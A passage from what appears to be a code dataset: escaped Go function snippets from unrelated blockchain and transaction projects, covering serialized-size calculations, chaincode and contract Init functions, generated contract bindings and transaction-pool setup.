count TxSig impact here\n\n\t//util.Trace(fmt.Sprintf(\"n= %d\\n\", n))\n\n\treturn n\n}", "func (tp *TXPool) Init() {\n\ttp.Lock()\n\tdefer tp.Unlock()\n\ttp.txList = make(map[common.Uint256]*TXEntry)\n}", "func TestTxSerializeSize(t *testing.T) {\n\t// Empty tx message.\n\tnoTx := NewNativeMsgTx(1, nil, nil)\n\n\ttests := []struct {\n\t\tin *MsgTx // Tx to encode\n\t\tsize int // Expected serialized size\n\t}{\n\t\t// No inputs or outpus.\n\t\t{noTx, 34},\n\n\t\t// Transcaction with an input and an output.\n\t\t{multiTx, 238},\n\t}\n\n\tt.Logf(\"Running %d tests\", len(tests))\n\tfor i, test := range tests {\n\t\tserializedSize := test.in.SerializeSize()\n\t\tif serializedSize != test.size {\n\t\t\tt.Errorf(\"MsgTx.SerializeSize: #%d got: %d, want: %d\", i,\n\t\t\t\tserializedSize, test.size)\n\t\t\tcontinue\n\t\t}\n\t}\n}", "func GetTxVirtualSize(tx *btcutil.Tx) int64 {\n\t// vSize := (weight(tx) + 3) / 4\n\t// := (((baseSize * 3) + totalSize) + 3) / 4\n\t// We add 3 here as a way to compute the ceiling of the prior arithmetic\n\t// to 4. The division by 4 creates a discount for wit witness data.\n\treturn (blockchain.GetTransactionWeight(tx) + (blockchain.WitnessScaleFactor - 1)) /\n\t\tblockchain.WitnessScaleFactor\n}", "func MinimumInputSize(w *bitcoincash.SPVWallet) (uint64, error) {\n\trate, err := w.ExchangeRates().GetExchangeRate(\"USD\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn uint64(((float64(2) / 100) / rate) * 100000000), nil\n}", "func (ti *TxIn) SerializeSize() int {\n\t// Outpoint Hash 32 bytes + Outpoint Index 4 bytes + Sequence 4 bytes +\n\t// serialized varint size for the length of SignatureScript +\n\t// SignatureScript bytes.\n\treturn 40 + serialization.VarIntSerializeSize(uint64(len(ti.SignatureScript))) +\n\t\tlen(ti.SignatureScript)\n}", "func (c CommitterProbe) SetTxnSize(sz int) {\n\tc.txnSize = sz\n\tc.lockTTL = txnLockTTL(c.txn.startTime, sz)\n}", "func (t InitProducerIdRequest) Size(version int16) int32 {\n\tvar sz int32\n\tsz += sizeof.String(t.TransactionalId) // TransactionalId\n\tsz += sizeof.Int32 // TransactionTimeoutMs\n\treturn sz\n}", "func (_Rootchain *RootchainSession) Init() (*types.Transaction, error) {\n\treturn _Rootchain.Contract.Init(&_Rootchain.TransactOpts)\n}", "func (p *Policy) getMaxTransactionsPerBlock(ic *interop.Context, _ []stackitem.Item) stackitem.Item {\n\treturn stackitem.NewBigInteger(big.NewInt(int64(p.GetMaxTransactionsPerBlockInternal(ic.DAO))))\n}", "func (x *ServerLoopOutQuote) GetMaxSwapAmount() uint64 {\n\tif x != nil {\n\t\treturn x.MaxSwapAmount\n\t}\n\treturn 0\n}", "func (t *TxIn) SerializeSize() int {\n\treturn 37\n}", "func (_PermInterface *PermInterfaceTransactor) Init(opts *bind.TransactOpts, _breadth *big.Int, _depth *big.Int) (*types.Transaction, error) {\n\treturn _PermInterface.contract.Transact(opts, \"init\", _breadth, _depth)\n}", "func (_Rootchain *RootchainTransactorSession) Init() (*types.Transaction, error) {\n\treturn _Rootchain.Contract.Init(&_Rootchain.TransactOpts)\n}", "func (msg *Block) SerializeSize() int {\n\t// Block header bytes + Serialized varint size for the number of transactions.\n\tn := blockHeaderLen + VarIntSerializeSize(uint64(len(msg.Transactions)))\n\tfor _, tx := range msg.Transactions {\n\t\tn += tx.SerializeSize()\n\t}\n\treturn n\n}", "func (sm3 *SM3) BlockSize() int { return 64 }", "func (u *uploader) initSize() {\n\tu.totalSize = -1\n\n\tswitch r := u.in.Body.(type) {\n\tcase io.Seeker:\n\t\tn, err := aws.SeekerLen(r)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tu.totalSize = n\n\n\t\t// Try to adjust partSize if it is too small and account for\n\t\t// integer division truncation.\n\t\tif u.totalSize/u.cfg.PartSize >= int64(u.cfg.MaxUploadParts) {\n\t\t\t// Add one to the part size to account for remainders\n\t\t\t// during the size calculation. e.g odd number of bytes.\n\t\t\tu.cfg.PartSize = (u.totalSize / int64(u.cfg.MaxUploadParts)) + 1\n\t\t}\n\t}\n}", "func (constr Construction) BlockSize() int { return 16 }", "func InitSendTx(initTxArgs libwallet.InitTxArgs) (*libwallet.Slate, error) {\n\tinitSendTxArgs := initSendTxArgs{initTxArgs}\n\tclient := RPCHTTPClient{URL: url}\n\tparamsBytes, err := json.Marshal(initSendTxArgs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tenvl, err := client.Request(\"init_send_tx\", paramsBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif envl == nil {\n\t\treturn nil, errors.New(\"OwnerAPI: Empty RPC Response from grin-wallet\")\n\t}\n\tif envl.Error != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"code\": envl.Error.Code,\n\t\t\t\"message\": envl.Error.Message,\n\t\t}).Error(\"OwnerAPI: RPC Error during InitSendTx\")\n\t\treturn nil, errors.New(string(envl.Error.Code) + \"\" + envl.Error.Message)\n\t}\n\tvar result Result\n\tif err = json.Unmarshal(envl.Result, &result); err != nil {\n\t\treturn nil, err\n\t}\n\tif result.Err != nil {\n\t\treturn nil, errors.New(string(result.Err))\n\t}\n\n\tvar slate libwallet.Slate\n\tif err := json.Unmarshal(result.Ok, &slate); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &slate, nil\n}", "func TransactionEstimatedSerializedSize(tx *externalapi.DomainTransaction) uint64 {\n\tif transactionhelper.IsCoinBase(tx) {\n\t\treturn 0\n\t}\n\tsize := uint64(0)\n\tsize += 2 // Txn Version\n\tsize += 8 // number of inputs (uint64)\n\tfor _, input := range tx.Inputs {\n\t\tsize += transactionInputEstimatedSerializedSize(input)\n\t}\n\n\tsize += 8 // number of outputs (uint64)\n\tfor _, output := range tx.Outputs {\n\t\tsize += TransactionOutputEstimatedSerializedSize(output)\n\t}\n\n\tsize += 8 // lock time (uint64)\n\tsize += externalapi.DomainSubnetworkIDSize\n\tsize += 8 // gas (uint64)\n\tsize += externalapi.DomainHashSize // payload hash\n\n\tsize += 8 // length of the payload (uint64)\n\tsize += uint64(len(tx.Payload))\n\n\treturn size\n}", "func (blockchain *Blockchain) InitChain(req abciTypes.RequestInitChain) abciTypes.ResponseInitChain {\n\tvar genesisState types.AppState\n\tif err := tmjson.Unmarshal(req.AppStateBytes, &genesisState); err != nil {\n\t\tpanic(err)\n\t}\n\n\tinitialHeight := uint64(req.InitialHeight) - 1\n\n\tblockchain.appDB.SetStartHeight(initialHeight)\n\tblockchain.appDB.AddVersion(genesisState.Version, initialHeight)\n\tblockchain.initState()\n\n\tif err := blockchain.stateDeliver.Import(genesisState); err != nil {\n\t\tpanic(err)\n\t}\n\tif err := blockchain.stateDeliver.Check(); err != nil {\n\t\tpanic(err)\n\t}\n\t_, err := blockchain.stateDeliver.Commit()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tlastHeight := initialHeight\n\tblockchain.appDB.SetLastHeight(lastHeight)\n\n\tblockchain.appDB.SaveStartHeight()\n\tblockchain.appDB.SaveVersions()\n\n\tdefer blockchain.appDB.FlushValidators()\n\treturn abciTypes.ResponseInitChain{\n\t\tValidators: blockchain.updateValidators(),\n\t}\n}", "func (_Rootchain *RootchainTransactor) Init(opts *bind.TransactOpts) (*types.Transaction, error) {\n\treturn _Rootchain.contract.Transact(opts, \"init\")\n}", "func (x Secp256k1N) SizeHint() int { return 32 }", "func (_ReserveSpenderMultiSig *ReserveSpenderMultiSigTransactor) Initialize(opts *bind.TransactOpts, _owners []common.Address, _required *big.Int, _internalRequired *big.Int) (*types.Transaction, error) {\n\treturn _ReserveSpenderMultiSig.contract.Transact(opts, \"initialize\", _owners, _required, _internalRequired)\n}", "func (t *Chaincode) Init(stub shim.ChaincodeStubInterface) peer.Response {\r\n\t// Get the args from the transaction proposal\r\n\targs := stub.GetStringArgs()\r\n\tif len(args) != 0 {\r\n\t\treturn shim.Error(\"Incorrect arguments. Constructor doesn't expect arguments!\")\r\n\t}\r\n\tlogger.Info(\"successfully initialized\")\r\n\treturn shim.Success(nil)\r\n}", "func (p *Policy) Initialize(ic *interop.Context) error {\n\tsi := &state.StorageItem{\n\t\tValue: make([]byte, 4, 8),\n\t}\n\tbinary.LittleEndian.PutUint32(si.Value, defaultMaxBlockSize)\n\terr := ic.DAO.PutStorageItem(p.ContractID, maxBlockSizeKey, si)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbinary.LittleEndian.PutUint32(si.Value, defaultMaxTransactionsPerBlock)\n\terr = ic.DAO.PutStorageItem(p.ContractID, maxTransactionsPerBlockKey, si)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsi.Value = si.Value[:8]\n\tbinary.LittleEndian.PutUint64(si.Value, defaultFeePerByte)\n\terr = ic.DAO.PutStorageItem(p.ContractID, feePerByteKey, si)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbinary.LittleEndian.PutUint64(si.Value, defaultMaxBlockSystemFee)\n\terr = ic.DAO.PutStorageItem(p.ContractID, maxBlockSystemFeeKey, si)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tba := new(BlockedAccounts)\n\tsi.Value = ba.Bytes()\n\terr = ic.DAO.PutStorageItem(p.ContractID, blockedAccountsKey, si)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp.isValid = true\n\tp.maxTransactionsPerBlock = defaultMaxTransactionsPerBlock\n\tp.maxBlockSize = defaultMaxBlockSize\n\tp.feePerByte = defaultFeePerByte\n\tp.maxBlockSystemFee = defaultMaxBlockSystemFee\n\tp.maxVerificationGas = defaultMaxVerificationGas\n\tp.blockedAccounts = make([]util.Uint160, 0)\n\n\treturn nil\n}", "func (x *ServerLoopInQuoteResponse) GetMaxSwapAmount() uint64 {\n\tif x != nil {\n\t\treturn x.MaxSwapAmount\n\t}\n\treturn 0\n}", "func (s *TXPoolServer) init(num uint8, disablePreExec, disableBroadcastNetTx bool) {\n\t// Initial txnPool\n\ts.txPool = &tc.TXPool{}\n\ts.txPool.Init()\n\ts.allPendingTxs = make(map[common.Uint256]*serverPendingTx)\n\ts.actors = make(map[tc.ActorType]*actor.PID)\n\n\ts.validators = &registerValidators{\n\t\tentries: make(map[types.VerifyType][]*types.RegisterValidator),\n\t\tstate: roundRobinState{\n\t\t\tstate: make(map[types.VerifyType]int),\n\t\t},\n\t}\n\n\ts.pendingBlock = &pendingBlock{\n\t\tprocessedTxs: make(map[common.Uint256]*tc.VerifyTxResult, 0),\n\t\tunProcessedTxs: make(map[common.Uint256]*tx.Transaction, 0),\n\t}\n\n\ts.stats = txStats{count: make([]uint64, tc.MaxStats-1)}\n\n\ts.slots = make(chan struct{}, tc.MAX_LIMITATION)\n\tfor i := 0; i < tc.MAX_LIMITATION; i++ {\n\t\ts.slots <- struct{}{}\n\t}\n\n\ts.gasPrice = getGasPriceConfig()\n\tlog.Infof(\"tx pool: the current local gas price is %d\", s.gasPrice)\n\n\ts.disablePreExec = disablePreExec\n\ts.disableBroadcastNetTx = disableBroadcastNetTx\n\t// Create the given concurrent workers\n\ts.workers = make([]txPoolWorker, num)\n\t// Initial and start the workers\n\tvar i uint8\n\tfor i = 0; i < num; i++ {\n\t\ts.wg.Add(1)\n\t\ts.workers[i].init(i, s)\n\t\tgo s.workers[i].start()\n\t}\n}", "func (t AbortedTransaction1) Size(version int16) int32 {\n\tvar sz int32\n\tif version >= 4 {\n\t\tsz += sizeof.Int64 // ProducerId\n\t}\n\tif version >= 4 {\n\t\tsz += sizeof.Int64 // FirstOffset\n\t}\n\treturn sz\n}", "func EstimateTxSize(estimateTxSizeParam *EstimateTxSizeParam) uint64 {\n\n\tsizeVersion := uint64(1) // int8\n\tsizeType := uint64(5) // string, max : 5\n\tsizeLockTime := uint64(8) // int64\n\tsizeFee := uint64(8) // uint64\n\n\tsizeInfo := uint64(512)\n\n\tsizeSigPubKey := uint64(common.SigPubKeySize)\n\tsizeSig := uint64(common.SigNoPrivacySize)\n\tif estimateTxSizeParam.hasPrivacy {\n\t\tsizeSig = uint64(common.SigPrivacySize)\n\t}\n\n\tsizeProof := uint64(0)\n\tif estimateTxSizeParam.numInputCoins != 0 || estimateTxSizeParam.numPayments != 0 {\n\t\tsizeProof = utils.EstimateProofSize(estimateTxSizeParam.numInputCoins, estimateTxSizeParam.numPayments, estimateTxSizeParam.hasPrivacy)\n\t} else {\n\t\tif estimateTxSizeParam.limitFee > 0 {\n\t\t\tsizeProof = utils.EstimateProofSize(1, 1, estimateTxSizeParam.hasPrivacy)\n\t\t}\n\t}\n\n\tsizePubKeyLastByte := uint64(1)\n\n\tsizeMetadata := uint64(0)\n\tif estimateTxSizeParam.metadata != nil {\n\t\tsizeMetadata += estimateTxSizeParam.metadata.CalculateSize()\n\t}\n\n\tsizeTx := sizeVersion + sizeType + sizeLockTime + sizeFee + sizeInfo + sizeSigPubKey + sizeSig + sizeProof + sizePubKeyLastByte + sizeMetadata\n\n\t// size of privacy custom token data\n\tif estimateTxSizeParam.privacyCustomTokenParams != nil {\n\t\tcustomTokenDataSize := uint64(0)\n\n\t\tcustomTokenDataSize += uint64(len(estimateTxSizeParam.privacyCustomTokenParams.PropertyID))\n\t\tcustomTokenDataSize += uint64(len(estimateTxSizeParam.privacyCustomTokenParams.PropertySymbol))\n\t\tcustomTokenDataSize += uint64(len(estimateTxSizeParam.privacyCustomTokenParams.PropertyName))\n\n\t\tcustomTokenDataSize += 8 // for amount\n\t\tcustomTokenDataSize += 4 // for TokenTxType\n\n\t\tcustomTokenDataSize += uint64(1) // int8 version\n\t\tcustomTokenDataSize += uint64(5) // string, max : 5 type\n\t\tcustomTokenDataSize += uint64(8) // int64 locktime\n\t\tcustomTokenDataSize += uint64(8) // uint64 fee\n\n\t\tcustomTokenDataSize += uint64(64) // info\n\n\t\tcustomTokenDataSize += uint64(common.SigPubKeySize) // sig pubkey\n\t\tcustomTokenDataSize += uint64(common.SigPrivacySize) // sig\n\n\t\t// Proof\n\t\tcustomTokenDataSize += utils.EstimateProofSize(len(estimateTxSizeParam.privacyCustomTokenParams.TokenInput), len(estimateTxSizeParam.privacyCustomTokenParams.Receiver), true)\n\n\t\tcustomTokenDataSize += uint64(1) //PubKeyLastByte\n\n\t\tsizeTx += customTokenDataSize\n\t}\n\n\treturn uint64(math.Ceil(float64(sizeTx) / 1024))\n}", "func GetMaxTxCount() int {\r\n\treturn converter.StrToInt(SysString(MaxTxCount))\r\n}", "func (s *ISideChain) Init(size int) {\n\n\tsidechain := IblockChain{}\n\tReadIot()\n\tsidechain.Init()\n\tsidechain.GenerateBlocks(size - 1)\n\ts.Chain = sidechain\n\t//s.chain.PrintBlockChain()\n}", "func (t EndTxnRequest) Size(version int16) int32 {\n\tvar sz int32\n\tsz += sizeof.String(t.TransactionalId) // TransactionalId\n\tsz += sizeof.Int64 // ProducerId\n\tsz += sizeof.Int16 // ProducerEpoch\n\tsz += sizeof.Bool // Committed\n\treturn sz\n}", "func (s *SmartContract) Init(ctx contractapi.TransactionContextInterface) error {\n\tfmt.Printf(\"Hello\\n\")\n\treturn nil\n}", "func (t *TxOut) SerializeSize() int {\n\treturn RCDHashSize + VarIntSerializeSize(uint64(t.Value))\n}", "func (_OutboxEntry *OutboxEntryTransactor) Initialize(opts *bind.TransactOpts, _root [32]byte, _numInBatch *big.Int) (*types.Transaction, error) {\n\treturn _OutboxEntry.contract.Transact(opts, \"initialize\", _root, _numInBatch)\n}", "func InitCoinbaseTX(out, data string) *Transaction {\n\tif data == \"\" {\n\t\tdata = fmt.Sprintf(\"Giving Parsec Coin to %s\", out)\n\t}\n\ttx := Transaction{nil, nil, nil}\n\treturn &tx\n}", "func MaxBlockLen(ct CompressionType) uint64 {\n\tif ct == Snappy {\n\t\t// https://github.com/golang/snappy/blob/2a8bb927dd31d8daada140a5d09578521ce5c36a/encode.go#L76\n\t\treturn 6 * (0xffffffff - 32) / 7\n\t}\n\treturn math.MaxUint64\n}", "func (_Mevsky *MevskyTransactor) SetMinBounty(opts *bind.TransactOpts, newMinBounty *big.Int) (*types.Transaction, error) {\n\treturn _Mevsky.contract.Transact(opts, \"setMinBounty\", newMinBounty)\n}", "func setInitialValueSize(c *cli.Context) error {\n\tif !isSystemRunning() {\n\t\treturn nil\n\t}\n\tfmt.Println(\"yet to implement\")\n\t_, _, _, controllers := getIPAddresses()\n\n\tsendCommandToControllers(controllers, \"SetInitialValueSize\", \"\")\n\treturn nil\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\tprintln(\"chaincode contract init.\")\n\treturn shim.Success(nil)\n}", "func GetMaxBlockUserTx() int {\r\n\treturn converter.StrToInt(SysString(MaxBlockUserTx))\r\n}", "func (t *SmartContract) Init(stub shim.ChaincodeStubInterface) peer.Response {\n // Get the args from the transaction proposal\n args := stub.GetStringArgs()\n var check bool\n if len(args) != 5 {\n return shim.Error(\"Incorrect arguments, Expecting 5\")\n }\n\n // Set up any variables or assets here by calling stub.PutState()\n\n // We store the key and the value on the ledger\n if len(args[4])!= 46 {\n \treturn shim.Error(fmt.Sprintf(\"hash should be 46 characters long\"))\n }\n check = strings.HasPrefix(args[4], \"Qm\")\n if check != true {\n \treturn shim.Error(fmt.Sprintf(\"hash should start with Qm\"))\n }\n //aadhar,errp := strconv.Atoi(args[0])\n //if errp != nil {\n \t//return shim.Error(fmt.Sprintf(\"Error starting SmartContract chaincode: %s\", errp))\n //}\n var data = Patient{TID: args[0], PID: args[1], Subject: args[2], BID: args[3], Hash: args[4]}\n PatientBytes, _ := json.Marshal(data)\n err := stub.PutState(args[1], PatientBytes)\n if err != nil {\n return shim.Error(fmt.Sprintf(\"Failed to create asset: %s\", args[0]))\n }\n return shim.Success(nil)\n}", "func TestMaxCodeSizeAndTransactionSizeLimit(t *testing.T) {\n\ttype testData struct {\n\t\tsize uint64\n\t\tvalid bool\n\t\terr string\n\t}\n\ttype testDataType struct {\n\t\tisCodeSize bool\n\t\tdata []testData\n\t}\n\n\tconst codeSizeErr = \"Genesis max code size must be between 24 and 128\"\n\tconst txSizeErr = \"Genesis transaction size limit must be between 32 and 128\"\n\tvar codeSizeData = []testData{\n\t\t{23, false, codeSizeErr},\n\t\t{24, true, \"\"},\n\t\t{50, true, \"\"},\n\t\t{128, true, \"\"},\n\t\t{129, false, codeSizeErr},\n\t}\n\n\tvar txSizeData = []testData{\n\t\t{31, false, txSizeErr},\n\t\t{32, true, \"\"},\n\t\t{50, true, \"\"},\n\t\t{128, true, \"\"},\n\t\t{129, false, txSizeErr},\n\t}\n\n\tvar testDataArr = []testDataType{\n\t\t{true, codeSizeData},\n\t\t{false, txSizeData},\n\t}\n\n\tfor _, td := range testDataArr {\n\t\tvar ccfg *ChainConfig\n\t\tfor _, d := range td.data {\n\t\t\tvar msgPrefix string\n\t\t\tif td.isCodeSize {\n\t\t\t\tccfg = &ChainConfig{MaxCodeSize: d.size, TransactionSizeLimit: 50}\n\t\t\t\tmsgPrefix = \"max code size\"\n\t\t\t} else {\n\t\t\t\tccfg = &ChainConfig{MaxCodeSize: 50, TransactionSizeLimit: d.size}\n\t\t\t\tmsgPrefix = \"transaction size limit\"\n\t\t\t}\n\t\t\terr := ccfg.IsValid()\n\t\t\tif d.valid {\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(msgPrefix+\" %d, expected no error but got %v\", d.size, err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(msgPrefix+\" %d, expected error but got none\", d.size)\n\t\t\t\t} else {\n\t\t\t\t\tif err.Error() != d.err {\n\t\t\t\t\t\tt.Errorf(msgPrefix+\" %d, expected error but got %v\", d.size, err.Error())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "func (o OceanLaunchSpecBlockDeviceMappingEbsDynamicVolumeSizeOutput) BaseSize() pulumi.IntOutput {\n\treturn o.ApplyT(func(v OceanLaunchSpecBlockDeviceMappingEbsDynamicVolumeSize) int { return v.BaseSize }).(pulumi.IntOutput)\n}", "func (_AnchorChain *AnchorChainTransactor) Init(opts *bind.TransactOpts, hub common.Address) (*types.Transaction, error) {\n\treturn _AnchorChain.contract.Transact(opts, \"init\", hub)\n}", "func (to *TxOut) SerializeSize() int {\n\t// Value 8 bytes + assetLength + Asset 12 byte\n\t// + serialized varint size for the length of PkScript +\n\t// PkScript bytes.\n\t// + serialized varint size for the length of Data +\n\t// Data bytes.\n\treturn 21 +\n\t\tserialization.VarIntSerializeSize(uint64(len(to.PkScript))) + len(to.PkScript) +\n\t\tserialization.VarIntSerializeSize(uint64(len(to.Data))) + len(to.Data)\n}", "func (_ReserveSpenderMultiSig *ReserveSpenderMultiSigTransactorSession) Initialize(_owners []common.Address, _required *big.Int, _internalRequired *big.Int) (*types.Transaction, error) {\n\treturn _ReserveSpenderMultiSig.Contract.Initialize(&_ReserveSpenderMultiSig.TransactOpts, _owners, _required, _internalRequired)\n}", "func (l *EventLogger) InitTransaction() (id TransactionId) {\n\tl.Lock()\n\n\tfor ; id == 0; id = TransactionId(rand.Uint64()) {\n\t}\n\n\tl.transacting = id\n\treturn\n}", "func GetMaxBlockSize() int64 {\r\n\treturn converter.StrToInt64(SysString(MaxBlockSize))\r\n}", "func (_PermInterface *PermInterfaceTransactorSession) Init(_breadth *big.Int, _depth *big.Int) (*types.Transaction, error) {\n\treturn _PermInterface.Contract.Init(&_PermInterface.TransactOpts, _breadth, _depth)\n}", "func (t *SBITransaction) Init(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"Inside INIT for test chaincode\")\n\treturn nil, nil\n}", "func (t Transaction) MarshalSiaSize() (size int) {\n\tsize += 8\n\tfor _, sci := range t.SiacoinInputs {\n\t\tsize += len(sci.ParentID)\n\t\tsize += sci.UnlockConditions.MarshalSiaSize()\n\t}\n\tsize += 8\n\tfor _, sco := range t.SiacoinOutputs {\n\t\tsize += sco.Value.MarshalSiaSize()\n\t\tsize += len(sco.UnlockHash)\n\t}\n\tsize += 8\n\tfor i := range t.FileContracts {\n\t\tsize += t.FileContracts[i].MarshalSiaSize()\n\t}\n\tsize += 8\n\tfor i := range t.FileContractRevisions {\n\t\tsize += t.FileContractRevisions[i].MarshalSiaSize()\n\t}\n\tsize += 8\n\tfor _, sp := range t.StorageProofs {\n\t\tsize += len(sp.ParentID)\n\t\tsize += len(sp.Segment)\n\t\tsize += 8 + len(sp.HashSet)*crypto.HashSize\n\t}\n\tsize += 8\n\tfor i := range t.MinerFees {\n\t\tsize += t.MinerFees[i].MarshalSiaSize()\n\t}\n\tsize += 8\n\tfor i := range t.ArbitraryData {\n\t\tsize += 8 + len(t.ArbitraryData[i])\n\t}\n\tsize += 8\n\tfor _, ts := range t.TransactionSignatures {\n\t\tsize += len(ts.ParentID)\n\t\tsize += 8 // ts.PublicKeyIndex\n\t\tsize += 8 // ts.Timelock\n\t\tsize += ts.CoveredFields.MarshalSiaSize()\n\t\tsize += 8 + len(ts.Signature)\n\t}\n\n\t// Sanity check against the slower method.\n\tif build.DEBUG {\n\t\texpectedSize := len(encoding.Marshal(t))\n\t\tif expectedSize != size {\n\t\t\tpanic(\"Transaction size different from expected size.\")\n\t\t}\n\t}\n\treturn\n}", "func (_Mevsky *MevskyTransactorSession) SetMinBounty(newMinBounty *big.Int) (*types.Transaction, error) {\n\treturn _Mevsky.Contract.SetMinBounty(&_Mevsky.TransactOpts, newMinBounty)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) peer.Response {\r\n\treturn shim.Success(nil)\r\n}", "func (_Mevsky *MevskySession) SetMinBounty(newMinBounty *big.Int) (*types.Transaction, error) {\n\treturn _Mevsky.Contract.SetMinBounty(&_Mevsky.TransactOpts, newMinBounty)\n}", "func EstimateCommitmentTxSize(count int) int64 {\n\n\t// Size of 'count' HTLC outputs.\n\thtlcsSize := int64(count) * HTLCOutputSize\n\n\treturn CommitmentTxSize + htlcsSize\n}", "func (t *DTCChaincode) Init(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n var err error\n if len(args) != 1 {\n return nil, errors.New(\"Incorrect number of arguments. Expecting 1\")\n }\n if function == \"InitContract\"{\n t.InitContract(stub, args);\n }\n\n if err != nil {\n return nil, err\n }\n return nil, nil\n}", "func (_ReserveSpenderMultiSig *ReserveSpenderMultiSigSession) Initialize(_owners []common.Address, _required *big.Int, _internalRequired *big.Int) (*types.Transaction, error) {\n\treturn _ReserveSpenderMultiSig.Contract.Initialize(&_ReserveSpenderMultiSig.TransactOpts, _owners, _required, _internalRequired)\n}", "func (t EndTxnResponse) Size(version int16) int32 {\n\tvar sz int32\n\tsz += sizeof.Int32 // ThrottleTimeMs\n\tsz += sizeof.Int16 // ErrorCode\n\treturn sz\n}", "func (l *Ledger) GetMaxBlockSize() int64 {\n\tdefaultBlockSize := l.GenesisBlock.GetConfig().GetMaxBlockSizeInByte()\n\treturn defaultBlockSize\n}", "func (o OceanBlockDeviceMappingEbsDynamicVolumeSizeOutput) BaseSize() pulumi.IntOutput {\n\treturn o.ApplyT(func(v OceanBlockDeviceMappingEbsDynamicVolumeSize) int { return v.BaseSize }).(pulumi.IntOutput)\n}", "func (rnr *Runner) InitTx(l logger.Logger) (modeller.Modeller, error) {\n\n\t// NOTE: The modeller is created and initialised with every request instead of\n\t// creating and assigning to a runner struct \"Model\" property at start up.\n\t// This prevents directly accessing a shared property from with the handler\n\t// function which is running in a goroutine. Otherwise accessing the \"Model\"\n\t// property would require locking and block simultaneous requests.\n\n\t// modeller\n\tif rnr.ModellerFunc == nil {\n\t\tl.Warn(\"Runner ModellerFunc is nil\")\n\t\treturn nil, fmt.Errorf(\"ModellerFunc is nil\")\n\t}\n\n\tm, err := rnr.ModellerFunc(l)\n\tif err != nil {\n\t\tl.Warn(\"Failed ModellerFunc >%v<\", err)\n\t\treturn nil, err\n\t}\n\n\tif m == nil {\n\t\tl.Warn(\"Modeller is nil, cannot continue\")\n\t\treturn nil, err\n\t}\n\n\ttx, err := rnr.Store.GetTx()\n\tif err != nil {\n\t\tl.Warn(\"Failed getting DB connection >%v<\", err)\n\t\treturn m, err\n\t}\n\n\terr = m.Init(rnr.Prepare, tx)\n\tif err != nil {\n\t\tl.Warn(\"Failed init modeller >%v<\", err)\n\t\treturn m, err\n\t}\n\n\treturn m, nil\n}", "func (t *OrderAsset) Init(stub shim.ChaincodeStubInterface) pd.Response {\n\n\tlogger.Info(\"########### ORDER_CHAINCODE Init ###########\")\n\t// Get the args from the transaction proposal\n\treturn shim.Success(nil)\n}", "func (p *Pool) Init(num, size int, poolID ...int) {\n\tp.init(num, size, poolID...)\n\treturn\n}", "func InitTransactionPool() *TransactionPool {\n\ttxs := make(map[string]*Transaction)\n\treturn &TransactionPool{Transactions: txs}\n}", "func (c *ChainCode) Init(ctx contractapi.TransactionContextInterface) error {\r\n \r\n _, err := set(ctx.GetStub(), NEXT_SHOW_ID, \"0\")\r\n _, err = set(ctx.GetStub(), NEXT_TICKET_ID, \"0\")\r\n \r\n if err != nil {\r\n return \"nil\", fmt.Errorf(err.Error())\r\n }\r\n \r\n return nil\r\n}", "func (t AddPartitionsToTxnRequest) Size(version int16) int32 {\n\tvar sz int32\n\tsz += sizeof.String(t.TransactionalId) // TransactionalId\n\tsz += sizeof.Int64 // ProducerId\n\tsz += sizeof.Int16 // ProducerEpoch\n\tsz += sizeof.ArrayLength // Topics\n\tfor i := len(t.Topics) - 1; i >= 0; i-- {\n\t\tsz += t.Topics[i].Size(version)\n\t}\n\treturn sz\n}", "func (p *Policy) getMaxBlockSize(ic *interop.Context, _ []stackitem.Item) stackitem.Item {\n\treturn stackitem.NewBigInteger(big.NewInt(int64(p.GetMaxBlockSizeInternal(ic.DAO))))\n}", "func (s *State) BlockSize() int { return 1 }", "func (o *Content) SetInitTimeout(v int32) {\n\to.InitTimeout.Set(&v)\n}", "func (_AnchorChain *AnchorChainTransactorSession) Init(hub common.Address) (*types.Transaction, error) {\n\treturn _AnchorChain.Contract.Init(&_AnchorChain.TransactOpts, hub)\n}", "func validateTransactionSize(next http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\ttransactions, ctx, err := getTransactions(r)\n\t\tif err != nil {\n\t\t\tlogFailure(err.Error(), w, r, 0)\n\t\t\treturn\n\t\t}\n\n\t\tfor _, transaction := range transactions {\n\t\t\tfor _, action := range transaction.Actions {\n\t\t\t\tif len(action.Data) > appConfig.MaxTransactionSize {\n\t\t\t\t\tlogFailure(\"INVALID_TRANSACTION_SIZE\", w, r, 0)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t}\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub 